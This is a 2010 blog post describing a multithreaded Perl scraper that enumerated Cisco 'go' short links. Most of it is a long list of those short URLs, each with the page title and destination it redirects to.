http – Grey Panthers Savannah

Unshortifying Cisco “Go” links

gpanther — Fri, 19 Mar 2010 15:23:00 +0000

Inspired by a post on the PacketLife.net blog – Cisco "Go" links reference in the wiki – I tried to mine the short links to come up with the “definitive” list, but after running it for a couple of days, it only managed to find 473 links, compared to the 4720 Google estimates it has (Yahoo estimates 4200, but it seems to include more non-relevant results – or maybe I don’t know to use the search operators on it correctly :-P). Anyway, I thought that the code might be useful for somebody doing other scraping projects, so you can find it in my Google Code SVN repository. It illustrates a couple of techniques:

Generating all the combinations from a given alphabet in a simple and fast manner
Using multi-threading to increase performance and reduce the time wasted by waiting for network I/O.
How to fetch gzip-ed content (any well-behaved spider should offer the site the option to do so to conserve their bandwidth) using LWP::UserAgent (I found it thanks to this StackOverflow question)

Check it out if you have a similar problem!

Finally, below you have the list of links. A quick look reveals two interesting observations: there are duplicates (multiple links pointing to the same page) and some of the links point to non-Cisco pages.

http://cisco.com/go/f => Redirect page – Cisco Systems (http://www.cisco.com/web/mobile/fed/)
http://cisco.com/go/m => Cisco Systems – Cisco Speaking Sessions at Mobile World Congress (http://www.cisco.com/web/learning/le21/le34/MWC/2009/mobi/)
http://cisco.com/go/n => Cisco Systems – Innovators (http://www.cisco.com/web/mobile/nws/)
http://cisco.com/go/s => Cisco Systems – Test Your Cisco Smarts (http://www.cisco.com/web/mobile/s/)
http://cisco.com/go/ea => Cisco Unified Expert Advisor – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9675/index.html)
http://cisco.com/go/sa => Cisco IOS Software Activation – Cisco Systems (http://www.cisco.com/en/US/products/ps9677/products_ios_technology_home.html)
http://cisco.com/go/qb => Cisco Systems (http://www.cisco.com/web/partners/quotebuilder)
http://cisco.com/go/ac => Cisco Systems – Unified Attendant Console solutions (http://cisco-ac.arcsolutions.com)
http://cisco.com/go/cc => Customer Contact – Cisco Systems (http://www.cisco.com/en/US/products/sw/custcosw/Products_Sub_Category_Home.html)
http://cisco.com/go/bc => SA Europe – Broadcasters/Programmers (http://www.saeurope.com/solutions/broadcasters.htm)
http://cisco.com/go/dc => Data Center – Cisco Systems (http://www.cisco.com/en/US/netsol/ns340/ns394/ns224/index.html)
http://cisco.com/go/pc => Positive Connections – Operational Excellence through Connected Manufacturing, 19 May 2009, 9am-12pm GMT Webcast (http://www.cisco.com/web/offer/emea/positiveconnections/index.html)
http://cisco.com/go/uc => Voice & Unified Communications – Main Page – Cisco Systems (http://www.cisco.com/en/US/products/sw/voicesw/index.html)
http://cisco.com/go/vc => VoiceCon 2010 – Cisco Events – Cisco Systems (http://www.cisco.com/web/learning/le21/le34/voicecon/2010/index.html)
http://cisco.com/go/id => Cisco Systems, Inc (http://www.cisco.com/web/ID/index.html)
http://cisco.com/go/ce => Carrier Ethernet – Cisco Systems (http://www.cisco.com/en/US/netsol/ns577/networking_solutions_solution.html)
http://cisco.com/go/ie => Cisco Catalyst 2955 Series Switches – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6738/index.html)
http://cisco.com/go/3g => Cisco 3G Wireless Connectivity Solutions [Cisco 800 Series Routers] – Cisco Systems (http://www.cisco.com/en/US/prod/routers/ps380/3g_solns.html)
http://cisco.com/go/ph => Partner Helpline – Partner Central – Cisco Systems (http://www.cisco.com/web/partners/tools/helponline/index.html)
http://cisco.com/go/dm => Order Direct From Cisco – Cisco Systems (http://www.cisco.com/commarch/cvs/dm)
http://cisco.com/go/sm => Cisco Systems – Redirect to (http://www.cisco.com/humannetwork)
http://cisco.com/go/hn => The Human Network – Cisco Systems (http://www.cisco.com/web/thehumannetwork/index1.html?POSITION=link&COUNTRY_SITE=us&CAMPAIGN=HN2&CREATIVE=HN2+to+HN1&REFERRING_SITE=CISCO%2ECOM+HN2+Microsite)
http://cisco.com/go/fn => Cisco Feature Navigator – Cisco Systems (http://tools.cisco.com/ITDIT/CFN/jsp/index.jsp)
http://cisco.com/go/sn => Cisco.com Login Page (http://tools.cisco.com/Support/CPI/index.do)
http://cisco.com/go/so => Cisco Learning Partner Associate – Learning Partners Program Overview – Cisco Systems (http://www.cisco.com/web/learning/le27/le53/learning_partner_so.html)
http://cisco.com/go/cp => Cisco Powered Program – Cisco Systems (http://www.cisco.com/en/US/netsol/ns206/networking_solutions_solution_category.html)
http://cisco.com/go/bp => Cisco Systems (http://www.cisco.com/web/partners/program/other/brand-protection/index.html)
http://cisco.com/go/ds => Cisco Digital Signs – Cisco Systems (http://www.cisco.com/web/solutions/dms/digital_signage.html)
http://cisco.com/go/ps => Government and Education – Cisco Systems (http://www.cisco.com/web/strategy/government_education_index.html)
http://cisco.com/go/ts => Technical Services – Cisco Systems (http://www.cisco.com/en/US/products/svcs/ps3034/ps2827/serv_category_home.html)
http://cisco.com/go/tv => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/x2 => Cisco Systems – Redirect to (http://www.cisco.com/en/US/products/hw/modules/ps5455/products_data_sheet0900aecd801f92aa.html)
http://cisco.com/go/24 => President Taylor Meets Over TelePresence On 24 – Video Detail – The Video Lounge (http://videolounge.cisco.com/video/24-pres-taylor-meets-over-tp/?Referring_site=PrintTv&Country_Site=US&Campaign=HN&Position=URL&Creative=go/24&Where=go/24)
http://cisco.com/go/saa => Cisco IOS IP Service Level Agreements (SLAs) – Cisco Systems (http://www.cisco.com/en/US/products/ps6602/products_ios_protocol_group_home.html)
http://cisco.com/go/cca => Cisco NAC Appliance (Clean Access) – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6128/index.html)
http://cisco.com/go/pda => Cisco Systems, Inc (http://www.cisco.com/cdc_content_elements/mobile/)
http://cisco.com/go/sea => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/strategy/transportation/seaports.html)
http://cisco.com/go/cia => Collaboration In Action (http://www.cisco.com/web/offer/emea/collaborationinaction)
http://cisco.com/go/via => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/netsol/ns341/ns396/ns166/ns68/networking_solutions_solution.html)
http://cisco.com/go/ana => Cisco Active Network Abstraction – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6776/index.html)
http://cisco.com/go/cna => Cisco Network Assistant – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps5931/index.html)
http://cisco.com/go/cpa => Cisco Channel Port Adapter – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/hw/modules/ps2033/ps124/index.html)
http://cisco.com/go/lpa => Cisco Learning Partner Associate – Learning Partners Program Overview – Cisco Systems (http://www.cisco.com/web/learning/le27/le53/learning_partner_so.html)
http://cisco.com/go/spa => Cisco Shared Port Adapters/SPA Interface Processors – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6267/prod_module_series_home.html)
http://cisco.com/go/cqa => Cisco Systems (http://www.cisco.com/web/partners/sell/technology/quoteadvisor.html)
http://cisco.com/go/asa => Cisco ASA 5500 Series Adaptive Security Appliances – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6120/index.html)
http://cisco.com/go/csa => Cisco Security Agent – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/sw/secursw/ps5057/index.html)
http://cisco.com/go/isa => CCO Decommission Page (http://www.cisco.com/warp/public/732/Tech/connectivity/ssg/)
http://cisco.com/go/msa => Introduction – Cisco Systems (http://www.cisco.com/en/US/partners/pr67/pr41/pr263/partners_strategic_solution_concept_home.html)
http://cisco.com/go/vsa => Cisco VPN Services Adapter – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps7332/index.html)
http://cisco.com/go/cta => NAC – Cisco Systems (http://www.cisco.com/en/US/netsol/ns466/networking_solutions_package.html)
http://cisco.com/go/aya => Are You Attached Seminar Series – 1 Day (https://programs.regweb.com/cisco/aya/)
http://cisco.com/go/cab => Cisco.com Login Page (http://forums.cisco.com/eforum/servlet/CAB?page=main&sn=CAB)
http://cisco.com/go/mib => Cisco IOS MIB Locator (http://tools.cisco.com/ITDIT/MIBS/servlet/index)
http://cisco.com/go/sib => Small is BIG (http://www.cisco.com/web/EA/sib/index.html)
http://cisco.com/go/brb => Branch – Cisco Systems (http://www.cisco.com/en/US/netsol/ns477/index.html)
http://cisco.com/go/irb => Thought Leadership Network (http://newsroom.cisco.com/dlls/tln/redirects/irb_metric.html)
http://cisco.com/go/fsb => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/netsol/ns477/networking_solutions_packages_list.html)
http://cisco.com/go/hsb => Cisco Hosted Small Business Communications – Cisco Systems (http://www.cisco.com/en/US/netsol/ns1028/networking_solutions_solution.html)
http://cisco.com/go/twb => Teachers Without Borders (http://www.cisco.com/web/learning/netacad/landing/TWB.html)
http://cisco.com/go/syb => Cisco Systems (http://www.cisco.com/web/partners/sell/technology/security/secure_your_branch.html)
http://cisco.com/go/dac => Cisco Unified Department Attendant Console – Cisco Systems (http://www.cisco.com/en/US/products/ps7295/index.html)
http://cisco.com/go/eac => Cisco Physical Access Gateways – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9687/index.html)
http://cisco.com/go/nac => NAC – Cisco Systems (http://www.cisco.com/en/US/netsol/ns466/networking_solutions_package.html)
http://cisco.com/go/ibc => Join Us at IBC 2009 (http://www.scientificatlanta.com/email/2009/0709-IBC/new/JoinCiscoatIBC2009.htm)
http://cisco.com/go/nbc => 30 Rock/Jenna Finds A Flip – Video Detail – The Video Lounge (http://videolounge.cisco.com/video/30-rockjenna-finds-a-flip/?Referring_site=PrintTV&Country_Site=US&Campaign=Product+Integrations&Position=Vanity&Creative=http://www.cisco.com/go/nbc)
http://cisco.com/go/sbc => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/netsol/ns759/networking_solutions_sub_sub_solution.html)
http://cisco.com/go/pec => Partner Education Connection – Training Resources – Cisco Systems (http://www.cisco.com/web/learning/le36/learning_partner_e-learning_connection_tool_launch.html)
http://cisco.com/go/cfc => Order Direct From Cisco – Cisco Systems (http://www.cisco.com/commarch/cvs/cfc)
http://cisco.com/go/dfc => Log-In (http://resources.cisco.com/app/channel-site-builder.taf?channel_id=32631&public_view=true&asset_id=5926)
http://cisco.com/go/cic => Cisco Info Center – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/sw/netmgtsw/ps996/index.html)
http://cisco.com/go/tlc => Federal IT Thought Leadership – Industry Solutions – Cisco Systems (http://www.cisco.com/web/strategy/government/federal_thought_leadership.html)
http://cisco.com/go/bmc => DC Partner – BMC – Cisco Systems (http://www.cisco.com/en/US/netsol/ns957/index.html)
http://cisco.com/go/pmc => Cisco Systems (http://www.cisco.com/web/partners/services/resources/pmc/index.html)
http://cisco.com/go/anc => Inventory and Reporting – Cisco Systems (http://www.cisco.com/kobayashi/support/home.htm)
http://cisco.com/go/voc => Cisco.com Login Page (http://www.cisco.com/en/US/customer/ordering/o44/ordering_concept_home.html)
http://cisco.com/go/epc => Cisco IOS Embedded Packet Capture – Cisco Systems (http://www.cisco.com/en/US/products/ps9913/products_ios_protocol_group_home.html)
http://cisco.com/go/ipc => Unified Communications/Voice Solutions – Cisco Systems (http://www.cisco.com/en/US/netsol/ns340/ns394/ns165/networking_solutions_packages_list.html)
http://cisco.com/go/hpc => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/netsol/ns500/networking_solutions_package.html)
http://cisco.com/go/rrc => Financial Services – Industry Solutions – Cisco Systems (http://www.cisco.com/web/strategy/financial/index.html)
http://cisco.com/go/isc => Cisco IP Solution Center – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/sw/netmgtsw/ps4748/index.html)
http://cisco.com/go/psc => Partner Help Online-Partners & Resellers – Cisco Systems (http://ciscopsc.custhelp.com/cgi-bin/ciscopsc.cfg/php/enduser/cisco.php)
http://cisco.com/go/ssc => Partner Help Online-Partners & Resellers – Cisco Systems (http://ciscopsc.custhelp.com/cgi-bin/ciscopsc.cfg/php/enduser/cisco.php)
http://cisco.com/go/cuc => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/netsol/ns641/networking_solutions_packages_list.html)
http://cisco.com/go/mwc => Cisco Mobile Wireless Center – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/sw/netmgtsw/ps820/index.html)
http://cisco.com/go/iad => Cisco IAD2400 Series Integrated Access Devices – Cisco Systems (http://www.cisco.com/en/US/products/hw/gatecont/ps887/index.html)
http://cisco.com/go/fed => e-government – U.S. Federal Government -Industry Solutions – Cisco Systems (http://www.cisco.com/web/strategy/government/us_federal.html)
http://cisco.com/go/cmd => Cisco Monitor Director – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps7246/index.html)
http://cisco.com/go/usd => Cisco Unified Service Delivery (http://www.cisco.com/cdc_content_elements/flash/netsol/sp/sdc/index.html?POSITION=printvanity&COUNTRY_SITE=us&CAMPAIGN=SDC&CREATIVE=Vanity&REFERRING_SITE=Vanity+URL)
http://cisco.com/go/cvd => Cisco Validated Design Program – Cisco Systems (http://www.cisco.com/en/US/netsol/ns741/networking_solutions_program_home.html)
http://cisco.com/go/ace => Data Center Application Services – Cisco Systems (http://www.cisco.com/en/US/products/ps5719/Products_Sub_Category_Home.html)
http://cisco.com/go/dce => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/netsol/ns783/networking_solutions_package.html#~overview)
http://cisco.com/go/nce => Cisco Network Capacity Expansion – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9702/index.html)
http://cisco.com/go/tce => News@Cisco -> Executive Biographies (http://tools.cisco.com/dlls/tln/page/business/biz-customer-experience)
http://cisco.com/go/mde => Cisco MPLS Diagnostics Expert – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6755/index.html)
http://cisco.com/go/ime => Cisco IPS Manager Express – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9610/index.html)
http://cisco.com/go/mme => The Page You Have Requested Is Not Available (http://www.cisco.com/web/partners/pr47/pr288/partners_marketing_made_easy.html)
http://cisco.com/go/ppe => Cisco.com Login Page (http://tools.cisco.com/WWChannels/PPP/home.do?actionType=home)
http://cisco.com/go/ase => Redirect (http://www.cisco.com/warp/public/437/services/ndm/aes.html)
http://cisco.com/go/ese => Enterprise – Cisco Systems (http://www.cisco.com/warp/public/779/largeent/it/ese/srnd.html)
http://cisco.com/go/cse => Cisco Solutions Express (http://www.cisco.com/cdc_content_elements/flash/large_enterprise/truck.html)
http://cisco.com/go/mse => Cisco 3300 Series Mobility Services Engine – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9742/index.html)
http://cisco.com/go/cue => Cisco Unity Express – Cisco Systems (http://www.cisco.com/en/US/products/sw/voicesw/ps5520/index.html)
http://cisco.com/go/waf => Cisco ACE Web Application Firewall – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9586/index.html)
http://cisco.com/go/ccf => Network Fabric – Cisco Systems (http://www.cisco.com/en/US/netsol/ns725/index.html)
http://cisco.com/go/pdf => Cisco Systems (http://www.cisco.com/web/partners/sell/smb/programs_and_promotions/pdf.html)
http://cisco.com/go/sef => Service Exchange Framework – Cisco Systems (http://www.cisco.com/en/US/netsol/ns746/networking_solutions_sub_solution.html)
http://cisco.com/go/jmf => We Apologize – 401 Error (http://www.cisco.com/cgi-bin/front.x/jmf/jmf30/jmf30/SelectCountry)
http://cisco.com/go/fnf => Flexible NetFlow – Cisco Systems (http://www.cisco.com/en/US/products/ps6965/products_ios_protocol_option_home.html)
http://cisco.com/go/crf => Cisco.com Login Page (https://tools.cisco.com/WWChannels/MBO/SMB/home.do)
http://cisco.com/go/gsf => 2010 Government Solutions Forum (http://www.cisco.com/web/strategy/government/solutionsforum.html)
http://cisco.com/go/atf => Cisco Systems: Business Discussion Forum – Login (http://forums.cisco.com/eforum/servlet/CBDF?page=cbdf&forum=CBDF%20Forum&topic=Event%20Discussions&CommCmd=MB%3Fcmd%3Ddisplay_location%26location%3D.2cc298a5)
http://cisco.com/go/ctf => The Page You Have Requested Is Not Available (http://www.cisco.com/web/strategy/government/Public_Sector_Technology_Forum.html)
http://cisco.com/go/gtf => News@Cisco -> Executive Biographies (http://newsroom.cisco.com/dlls/tln/events/gtf/index.html)
http://cisco.com/go/tmg => Cisco Transceiver Modules – Support – Cisco Systems (http://www.cisco.com/en/US/products/hw/modules/ps5455/tsd_products_support_series_home.html)
http://cisco.com/go/qrg => Cisco Product Quick Reference Guide – Cisco Systems (http://www.cisco.com/en/US/prod/qrg/index.html)
http://cisco.com/go/isg => Cisco Intelligent Services Gateway – Cisco Systems (http://www.cisco.com/en/US/products/ps6588/products_ios_protocol_group_home.html)
http://cisco.com/go/ssg => Service Selection Gateway – Cisco Systems (http://www.cisco.com/en/US/products/ps6589/products_ios_protocol_group_home.html)
http://cisco.com/go/cug => Cisco Community Central: Community: Cisco User Groups (https://www.myciscocommunity.com/community/technology/collaboration/usergroups)
http://cisco.com/go/pbi => Support for Nonprofits – Cisco Systems (http://www.cisco.com/web/about/ac48/pbi.html)
http://cisco.com/go/dci => Data Center Interconnect – Cisco Systems (http://www.cisco.com/en/US/netsol/ns975/index.html)
http://cisco.com/go/pci => PCI Compliance – Cisco Systems (http://www.cisco.com/en/US/netsol/ns625/index.html)
http://cisco.com/go/udi => Products & Services Product Identification Standard – Cisco Systems (http://www.cisco.com/en/US/products/products_identification_standard.html)
http://cisco.com/go/aii => Projects – Cisco Systems (http://www.cisco.com/en/US/about/ac50/ac207/projects/index.html)
http://cisco.com/go/vni => Visual Networking Index – Cisco Systems (http://www.cisco.com/en/US/netsol/ns827/networking_solutions_sub_solution.html)
http://cisco.com/go/cpi => Cisco Systems (http://www.cisco.com/web/partners/news/index.html)
http://cisco.com/go/ppi => Cisco.com Login Page (https://apps.cisco.com/mbrprv/saw.dll?Dashboard)
http://cisco.com/go/vpi => Cisco Systems (http://www.cisco.com/web/partners/pr46/vpi/vpi.html)
http://cisco.com/go/ipj => The Internet Protocol Journal – ISSN 1944-1134 – Cisco Systems (http://www.cisco.com/en/US/about/ac123/ac147/about_cisco_the_internet_protocol_journal.html)
http://cisco.com/go/ask => Cisco Support Community: Cisco Support Community (http://forum.cisco.com/eforum/servlet/NetProf?page=main)
http://cisco.com/go/pal => Cisco.com Login Page (http://tools.cisco.com/WWChannels/PAL/index.jsp)
http://cisco.com/go/ccl => Cisco Collaboration – Introduction – Cisco Systems (http://www.cisco.com/web/partners/sell/technology/ipc/cisco_collaboration.html)
http://cisco.com/go/oil => Oil and Gas – Industry Solutions – Cisco Systems (http://www.cisco.com/web/strategy/energy/external_oil.html)
http://cisco.com/go/etl => News@Cisco -> Executive Biographies (http://newsroom.cisco.com/dlls/tln/)
http://cisco.com/go/nam => Network Analysis Module (NAM) Products – Cisco Systems (http://www.cisco.com/en/US/products/ps5740/Products_Sub_Category_Home.html)
http://cisco.com/go/vam => Log-In (http://resources.cisco.com/app/tree.taf?asset_id=57360&public_view=true)
http://cisco.com/go/fbm => Forbidden File or Application (http://www.cisco.com/web/strategy/financial/index.html)
http://cisco.com/go/ndm => Introduction – Advanced Services Education – Cisco Systems (http://www.cisco.com/web/learning/le31/ase/index.html)
http://cisco.com/go/pdm => Cisco PIX Device Manager – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/sw/netmgtsw/ps2032/index.html)
http://cisco.com/go/eem => Cisco IOS Embedded Event Manager (EEM) – Cisco Systems (http://www.cisco.com/en/US/products/ps6815/products_ios_protocol_group_home.html)
http://cisco.com/go/eim => Cisco Unified E-Mail Interaction Manager – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps7236/index.html)
http://cisco.com/go/pim => IP Multicast – Cisco Systems (http://www.cisco.com/en/US/products/ps6552/products_ios_technology_home.html)
http://cisco.com/go/rim => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/prod/collateral/voicesw/product_promotion0900aec806e252a.html)
http://cisco.com/go/wim => Cisco Unified Web Interaction Manager – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps7233/index.html)
http://cisco.com/go/clm => Cisco License Manager – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps7138/index.html)
http://cisco.com/go/cmm => Cisco Multicast Manager – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6337/index.html)
http://cisco.com/go/anm => Cisco Application Networking Manager – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6904/index.html)
http://cisco.com/go/enm => Network Management – Main Page – Cisco Systems (http://www.cisco.com/en/US/products/sw/netmgtsw/index.html)
http://cisco.com/go/com => Order Direct From Cisco – Cisco Systems (http://www.cisco.com/commarch/cvs/com)
http://cisco.com/go/fpm => Cisco IOS Flexible Packet Matching (FPM) – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6723/index.html)
http://cisco.com/go/epm => Cisco Policy Management – Cisco Systems (http://www.cisco.com/en/US/products/ps9519/Products_Sub_Category_Home.html)
http://cisco.com/go/bqm => Cisco Bandwidth Quality Manager – Network Planning – Products & Services – Cisco Systems – Cisco Systems (http://www.cisco.com/en/US/products/ps6385/index.html)
http://cisco.com/go/asm => Cisco AnyConnect Secure Mobility Solution – Cisco Systems (http://www.cisco.com/en/US/netsol/ns1049/index.html)
http://cisco.com/go/lsm => IP Multicast – Cisco Systems (http://www.cisco.com/en/US/products/ps6552/products_ios_technology_home.html)
http://cisco.com/go/ctm => Cisco Transport Manager – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/sw/opticsw/ps2204/index.html)
http://cisco.com/go/hum => CiscoWorks Health and Utilization Monitor – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9303/index.html)
http://cisco.com/go/pvm => Cisco Performance Visibility Manager – Network Performance – Products & Services – Cisco Systems – Cisco Systems (http://www.cisco.com/en/US/products/ps6768/index.html)
http://cisco.com/go/san => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/netsol/ns893/networking_solutions_package.html)
http://cisco.com/go/wan => Unified WAN Services Platforms [Routers] – Cisco Systems (http://www.cisco.com/en/US/prod/routers/networking_solutions_products_unified_wan_services_platforms.html)
http://cisco.com/go/sbn => Cisco Systems (http://www.cisco.com/web/partners/sell/technology/security/borderless_security.html)
http://cisco.com/go/cdn => Cisco Developer Community – Home – Cisco Developer Community (http://developer.cisco.com)
http://cisco.com/go/sdn => Security Solutions for Enterprise – Cisco Systems (http://www.cisco.com/en/US/netsol/ns340/ns394/ns171/networking_solutions_packages_list.html)
http://cisco.com/go/cfn => Cisco Feature Navigator – Cisco Systems (http://tools.cisco.com/ITDIT/CFN/)
http://cisco.com/go/cin => The Page You Have Requested Is Not Available (http://www.cisco.com/web/partners/events/cin.html)
http://cisco.com/go/aon => Application-Oriented Networking – Cisco Systems (http://www.cisco.com/en/US/products/ps6692/Products_Sub_Category_Home.html)
http://cisco.com/go/cpn => Shortcut Redirect – Cisco Systems (http://www.cisco.com/pcgi-bin/cpn/cpn_pub_bassrch.pl)
http://cisco.com/go/vpn => Virtual Private Networks (VPN) – Main Page – Cisco Systems (http://www.cisco.com/en/US/products/ps5743/Products_Sub_Category_Home.html)
http://cisco.com/go/brn => Places in the Network – Cisco Systems (http://www.cisco.com/en/US/netsol/ns936/index.html)
http://cisco.com/go/cio => CIO – Cisco Systems (http://www.cisco.com/en/US/netsol/ns1018/index.html)
http://cisco.com/go/sio => Security Intelligence Operations – Cisco Systems (http://tools.cisco.com/security/center/home.x)
http://cisco.com/go/cpo => (https://tools.cisco.com/gdrp/coiga/showsurvey.do?surveyCode=445&keyCode=106721_1)
http://cisco.com/go/map => 401 Authorization Required (http://www.cisco-services.com/map)
http://cisco.com/go/sap => DC Partner – SAP – Cisco Systems (http://www.cisco.com/en/US/netsol/ns970/index.html)
http://cisco.com/go/tap => Cisco Systems (http://www.cisco.com/web/partners/pr11/incentive/tap/index.html)
http://cisco.com/go/tbp => Cisco Trusted Business Professional (https://programs.regweb.com/cisco/ctbp_08/)
http://cisco.com/go/ccp => Cisco Configuration Professional – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9422/index.html)
http://cisco.com/go/gep => Global EasyPay (GEP) – Partner Central – Cisco Systems (http://www.cisco.com/web/partners/tools/global_easypay.html)
http://cisco.com/go/rep => Cisco.com Login Page (http://tools.cisco.com/WWChannels/CAMLOC/jsp/cam_locator.jsp)
http://cisco.com/go/nfp => Cisco IOS Network Foundation Protection (NFP) – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6642/index.html)
http://cisco.com/go/agp => Cisco.com Login Page (https://tools.cisco.com/WWChannels/MBO/home.do)
http://cisco.com/go/cip => Cisco Channel Interface Processors – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/hw/modules/ps2643/ps123/index.html)
http://cisco.com/go/dip => We Apologize – 401 Error (http://www.cisco.com/global/EMEA/pages/dip/)
http://cisco.com/go/sip => Cisco Systems (http://www.cisco.com/web/partners/pr11/incentive/sip.html)
http://cisco.com/go/vip => Cisco.com Login Page (http://www.cisco.com/en/US/partner/partners/pr11/incentive/vip.shtml)
http://cisco.com/go/oip => Cisco.com Login Page (http://www.cisco.com/en/US/partner/partners/pr11/incentive/oip.shtml)
http://cisco.com/go/sjp => Cisco Systems (http://www.cisco.com/web/partners/pr11/incentive/sip.html)
http://cisco.com/go/dlp => Data Loss Prevention – Cisco Systems (http://cisco.com/en/US/netsol/ns895/index.html)
http://cisco.com/go/clp => Cisco Learning Partner – Learning Partners Program Overview – Cisco Systems (http://www.cisco.com/web/learning/le27/le53/learning_partner_clp.html)
http://cisco.com/go/dmp => Cisco.com Login Page (http://tools.cisco.com/emea/dmt/index.jsp)
http://cisco.com/go/cpp => Cisco Powered Program for the Service Provider – Cisco Systems (http://www.cisco.com/en/US/netsol/ns851/networking_solutions_solution.html)
http://cisco.com/go/dpp => Cisco.com Login Page (https://tools.cisco.com/WWChannels/MBO/home.do)
http://cisco.com/go/app => Other Cisco Programs – Partner Central – Cisco Systems (http://www.cisco.com/en/US/partners/pr46/partners_pgm_category_page.html)
http://cisco.com/go/urp => Redirect Notification – This page has moved to a new location! – Cisco Systems (http://www.cisco.com/web/about/ac50/ac207/crc/index1.html)
http://cisco.com/go/asp => Log-In (http://resources.cisco.com/app/tree.taf?asset_id=482157&public_view=true)
http://cisco.com/go/ksp => Knowledge Services – Advanced Services Education – Cisco Systems (http://www.cisco.com/web/learning/le31/ase/knowledgeservices/index.html)
http://cisco.com/go/psp => Public Sector Program (PSP) – Cisco Systems (http://www.cisco.com/web/partners/pr11/incentive/em/em_psp.html)
http://cisco.com/go/atp => Authorized Technology Provider (ATP) Program – Partner Central – Cisco Systems (http://www.cisco.com/web/partners/pr11/atp/index.html)
http://cisco.com/go/cvp => Cisco Unified Customer Voice Portal – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/sw/custcosw/ps1006/index.html)
http://cisco.com/go/axp => Optimize Branch Footprint with Application Integration [Cisco Application Extension Platform] – Cisco Systems (http://www.cisco.com/en/US/prod/routers/ps9701/axp_promo.html)
http://cisco.com/go/p4p => Cisco Systems (http://www.cisco.com/web/partners/services/promos/p4p/index.html)
http://cisco.com/go/sbr => Cisco Systems (http://www.cisco.com/web/partners/sell/smb/tools_and_resources/smart_business_roadmap.html)
http://cisco.com/go/pdr => Cisco.com Login Page (https://cisco-apps.cisco.com/cisco/psn/commerce)
http://cisco.com/go/oer => Cisco Optimized Edge Routing – Cisco Systems (http://www.cisco.com/en/US/products/ps6628/products_ios_protocol_option_home.html)
http://cisco.com/go/pfr => Performance Routing – Cisco Systems (http://www.cisco.com/en/US/products/ps8787/products_ios_protocol_option_home.html)
http://cisco.com/go/ehr => 502 Proxy Error (http://www.cisco.com/web/strategy/healthcare/breathe_life_into_ehr.html)
http://cisco.com/go/air => Airports – Transportation – Cisco Systems (http://www.cisco.com/en/US/strategy/transportation/airports.html)
http://cisco.com/go/asr => Introducing the Cisco ASR 1000 Router Series [Cisco ASR 1000 Series Aggregation Services Routers] – Cisco Systems (http://www.cisco.com/en/US/prod/routers/ps9343/asr_1000_prod_announcement.html)
http://cisco.com/go/abs => (http://www.crmtool.net/WebForm.asp?F=251&W=2824)
http://cisco.com/go/cbs => WebEx Helps Crack The Case On CSI: Miami – Video Detail – The Video Lounge (http://videolounge.cisco.com/video/csi-miami-webex-cracks-case/?Referring_site=PrintTv&Country_Site=US&Campaign=HN&Position=URL&Creative=go/cbs&Where=go/cbs)
http://cisco.com/go/acs => Cisco Secure Access Control System – Cisco Systems (http://cisco.com/en/US/products/ps9911/index.html)
http://cisco.com/go/ics => Cisco Incident Control System – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6542/index.html)
http://cisco.com/go/scs => Secure Remote Access and VPN – Cisco Systems (http://www.cisco.com/en/US/netsol/ns461/networking_solutions_package.html)
http://cisco.com/go/cds => Content Delivery Systems – Cisco Systems (http://www.cisco.com/en/US/products/ps7191/Products_Sub_Category_Home.html)
http://cisco.com/go/ids => Shortcut Redirect – Cisco Systems (http://www.cisco.com/go/ips)
http://cisco.com/go/tds => Threat Control – Cisco Systems (http://www.cisco.com/en/US/netsol/ns340/ns394/ns171/ns441/networking_solutions_package.html)
http://cisco.com/go/ams => Cisco Assurance Management Solution – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps8408/index.html)
http://cisco.com/go/dms => Digital Media Suite – Cisco Systems (http://www.cisco.com/web/solutions/dms/)
http://cisco.com/go/nms => Network Management – Main Page – Cisco Systems (http://www.cisco.com/en/US/products/sw/netmgtsw/index.html)
http://cisco.com/go/sms => Text Messaging at Cisco – About Cisco – Cisco Systems (http://www.cisco.com/web/about/facts_info/sms_reg_info.html)
